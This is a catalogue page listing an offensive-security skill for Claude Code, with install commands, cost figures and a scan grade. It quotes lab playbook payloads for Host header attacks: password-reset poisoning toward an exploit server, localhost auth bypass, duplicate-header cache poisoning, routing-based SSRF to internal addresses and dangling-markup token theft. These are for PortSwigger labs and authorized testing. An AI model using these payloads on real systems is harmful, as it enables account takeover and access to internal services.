HTTP Host Header Attacks — Deep Dive

HTTP Host Header Attacks — Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 28 tokens per session (1,128 once invoked), scanned A, a copy of HTTP Host Header Attacks — Deep Dive, Apache-2.0.

A practical guide to HTTP Host header attacks, which abuse the hostname a web request claims to target. It covers examples such as password-reset link poisoning, login bypass attempts, and cache poisoning.

In plain words
What is it for?
Used for authorized web-application testing, including PortSwigger lab practice, checking hostname handling, testing duplicate headers, and exploring related attack chains.
Why use it?
It helps testers understand cases where different parts of an application trust different Host header values, causing links, caches, or routing to use the wrong destination.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Used for authorized web-application testing, including PortSwigger lab practice, checking hostname handling, testing duplicate headers, and exploring related attack chains.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/host-header

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for HTTP Host Header Attacks — Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for HTTP Host Header Attacks — Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 28 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,128 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00028 $0.01128
Opus 5 $0.00014 $0.00564
Sonnet 5 $0.00006 $0.00226
Haiku 4.5 $0.00003 $0.00113

Measured 11d ago against content hash ba98f88abbcb, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

HTTP Host Header Attacks — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]
Origin

This is a copy

100% identical to HTTP Host Header Attacks — Deep Dive — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/deep-dive-labs/host-header/SKILL.md · 145 lines

How it starts

The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.

HTTP Host Header Attacks — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Basic password reset poisoning 🟢 APPRENTICE

POST /forgot-password HTTP/1.1
Host: EXPLOIT-SERVER

username=carlos

Lab 2: Auth bypass 🟡 PRACTITIONER

GET /admin HTTP/1.1
Host: localhost

Lab 3: Ambiguous requests cache poison 🟡 PRACTITIONER

GET / HTTP/1.1
Host: TARGET
Host: EXPLOIT-SERVER

Duplicate Host header — backend uses second, cache keys on first.

Lab 4: Routing-based SSRF 🟡 PRACTITIONER

GET /admin HTTP/1.1
Host: 192.168.0.§1§

Host header controls routing to internal backends. Scan for admin panel.

Lab 5: SSRF via flawed parsing 🟡 PRACTITIONER

GET https://TARGET/admin HTTP/1.1
Host: 192.168.0.1

Absolute URL in request line → some servers use Host header for routing instead.

Lab 6: Connection state attack 🔴 EXPERT

First request: valid Host. Keep-alive → second request: Host: 192.168.0.1. Server reuses validated connection state.

Lab 7: Dangling markup password reset 🔴 EXPERT

Host: TARGET:arbitraryport/exploit-server.com/?

Password reset email contains truncated URL that leaks token to your server via dangling markup.

Blue Team Detection

  • Monitor access logs for anomalous payloads.
  • Implement strict input validation and parameterized queries where applicable.
  • Create WAF rules masking generic attack patterns.

Read the full file on GitHub · 145 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 145 lines · 28 tokens per session scan A ba98f88abbcb

Subscribe to this mod's changes

HTTP Host Header Attacks — Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 28 tokens to every session and 1,128 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to HTTP Host Header Attacks — Deep Dive, differing in 0 lines, and is treated as a copy.